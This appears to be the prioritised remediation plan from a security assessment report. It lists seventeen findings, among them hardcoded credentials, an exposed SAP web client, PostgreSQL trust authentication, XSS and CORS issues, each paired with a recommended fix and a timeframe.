Recommended order of work by priority. P0 removes the critical risks, P1 closes the high ones, P2 the medium ones, P3 the low ones.
P0 · Immediately (24–48 h)
V-001 Remove the hardcoded credentials from the JS bundle, change the App API administrator password, and release a new production build. Move configuration data to the server side.
V-002 Restrict access to the SAP web client (bases.client.org:8083, external.client.org:8083) — close it from the internet, allow only via VPN. Disable the ability to load external add-on modules.
V-003 Replace PostgreSQL trust authentication with scram-sha-256 on all servers (srvsap-0..3). Restrict network access to the PostgreSQL ports.
V-007 Set passwords for all password-less SAP accounts and disable unused accounts.
P1 · Short-term (1–2 weeks)
V-004 Close the /metrics endpoint to unauthenticated access or restrict it by IP.
V-005 Validate URLs in the SU mechanism — allow only the intended addresses, restrict protocols and ports.
V-006 Remove the integration credentials from the API configuration store and switch to delivering them via secure environment variables.
V-008 Escape the message parameter on all 28 subdomains — replace innerHTML with textContent or DOMPurify, and deploy a Content Security Policy.
V-011 Set the HttpOnly, Secure and SameSite=Strict attributes on the sessionToken cookie on *.client.org.
P2 · Medium-term (up to 1 month)
V-009 Replace wildcard CORS handling with an explicit domain whitelist and remove credentials for untrusted origins.
V-010 Disable the user-list display on the SAP web-client login page.
V-012 Revoke and replace the address-enrichment API key and move calls to the service to a server-side proxy endpoint.
P3 · Long-term (1–3 months)
V-013 Disable the generation/publication of source maps in the production build (sourceMap: false).
V-014 Disable directory listing on the lib.client.org server (Options -Indexes or deny in nginx).
V-015 Disable the TRACE method in the web-server configuration (TraceEnable off).
V-016 Update the server software to current versions and remove headers that disclose versions.
V-017 Bring the Strict-Transport-Security headers to a single consistent configuration across all subdomains.
The potential-damage estimates described are forecasts and are provided to help prioritize vulnerability remediation.